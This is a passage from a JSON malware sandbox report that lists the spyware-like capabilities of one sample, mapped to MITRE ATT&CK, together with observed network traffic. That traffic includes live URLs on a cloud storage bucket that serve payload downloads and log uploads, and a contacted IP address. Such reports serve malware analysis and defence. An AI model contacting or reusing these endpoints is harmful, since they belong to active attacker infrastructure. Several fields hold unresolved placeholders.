Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"GetNetworkParams\" (Indicator: \"GetNetworkParams\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"NtUserGetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"NtUserInternalGetWindowText\" (Indicator: \"GetWindowText\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"NtUserFindWindowEx\" (Indicator: \"FindWindow\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"ver call this method.\" (Indicator: \"ver \") in Source: 7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"Found string \"Experimental.System.Net.NameResolution.DnsLookup\" (Indicator: \"nslookup\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.dll at 62134-16565-00000001402BA3E0\n OpenProcessToken@ADVAPI32.dll at 62134-16835-0000000140233DE0\n OpenProcessToken@ADVAPI32.dll at 62134-38576-00000001402BA4C3","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$36","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\" _}nz@|^\"","origin":"Network Traffic","mitre_attack_id":"T1132.001","relevance":7,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://socks4\"\n Found HTTPS url \"https://aka.ms\"\n Found HTTPS url \"https://www.world\"\n Found HTTPS url \"https://was\"\n Found HTTPS url \"https://www.recent\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://tyjssss777.oss-cn-hongkong.aliyuncs.com/zh/zh.mp4\n Found HTTPS GET request to https://tyjssss777.oss-cn-hongkong.aliyuncs.com/zh//upload?log=PathInit%3AC%3A%5CUsers%5CHAPUBWS%5CAppData%5CLocal%5CPrograms%5C_4199125610\n Found HTTPS GET request to https://tyjssss777.oss-cn-hongkong.aliyuncs.com/zh/zh.bin\n Found HTTPS GET request to https://tyjssss777.oss-cn-hongkong.aliyuncs.com/zh/1.1x1\n Found HTTPS GET request to https://tyjssss777.oss-cn-hongkong.aliyuncs.com/zh/1.d00\n Found HTTPS GET request to https://tyjssss777.oss-cn-hongkong.aliyuncs.com/zh//upload?log=AddTask%3AC%3A%5CUsers%5CHAPUBWS%5CAppData%5CLocal%5CPrograms%5C_4199125610%5CDefLaunch.exe","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"47.79.66.209\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RSA algorithm (keys)","description":"YARA signature for RSA public and private key matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":3,"id":"yara-62","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Zlib compression file detected","description":"YARA signature for file using Zlib compression matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1132.001","relevance":3,"id":"yara-161","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"NtUserCreateWindowStation\" (Indicator: \"CreateWindowStation\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"NtUserCreateDesktopEx\" (Indicator: \"CreateDesktop\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"NtUserSwitchDesktop\" (Indicator: \"SwitchDesktop\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"kerberosCapabili Version MaxToke CommentKerberos\" (Indicator: \"kerberos\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access system credential hash file","description":"Found string \".InsertAtCurrentHashNode@\" (Indicator: \"nthash\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1003.002","relevance":1,"id":"string-867","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"NtUserGetClipboardData\" (File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersionEx\" (Indicator: \"RtlGetVersion\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"@g____PInvoke|22_0\" (Indicator: \"RtlGetVersion\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to monitor clipboard data (API string)","description":"Found string \"NtUserAddClipboardFormatListener\" (File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-925","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$51","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"g____PInvoke|0_0\" (Indicator: \"GetLogonSessionData\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"LsaGetLogonSessionData\" (Indicator: \"GetLogonSessionData\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-117","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"Found reference to API \"GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"NtUserRegisterRawInputDevices\" (Indicator: \"RegisterRawInputDevices\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"NtUserGetRawInputData\" (Indicator: \"GetRawInputData\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1056","relevance":1,"id":"string-403","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"0GetProcAddressWithSuffix\" (Indicator: \"GetProcAddress\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"GetProcAddress&CancelSynchronousIo\" (Indicator: \"GetProcAddress\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$54","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"Invalid URI: The username:password construct is badly formed.\" (Indicator: \"password\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found string \"SOCKS server requested username & password authentication.\" (Indicator: \"password\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n file/memory contains long string with (Indicator: \"secret\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n file/memory contains long string with (Indicator: \"password\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found string \"sername & password authentication.\" (Indicator: \"password\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"Invalid URI: The hostname could not be parsed.\" (Indicator: \"hostname\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found string \"The HTTP/2 server didn't respond to a ping request within the configured KeepAlivePingDelay.\" (Indicator: \"ping\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found string \"hostName\" (Indicator: \"hostname\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to lock the workstation's display (API string)","description":"Found reference to API \"NtUserLockWorkStation\" (Indicator: \"LockWorkStation\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1499","relevance":1,"id":"string-221","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKeyExW\" in file \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\"\n Found registry deletion API: \"NtDeleteValueKey\" in file \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: 7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: fedfdPnp.dll]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"DeleteFile@\" (Indicator: \"DeleteFile\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"NtUserSetWindowsHookAW\" (Indicator: \"SetWindowsHook\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"NtUserUnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"NtUserCallNextHookEx\" (Indicator: \"CallNextHook\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"NtUserUnhookWinEvent\" (Indicator: \"UnhookWinEvent\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"NtUserSetWindowsHookEx\" (Indicator: \"SetWindowsHook\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"NtUserSetWinEventHook\" (Indicator: \"SetWinEventHook\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"NtUserSystemParametersInfoForDpi\" (Indicator: \"SystemParametersInfo\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"NtUserSystemParametersInfo\" (Indicator: \"SystemParametersInfo\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeLockMemoryPrivilege\" (Indicator: \"SeLockMemoryPrivilege\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"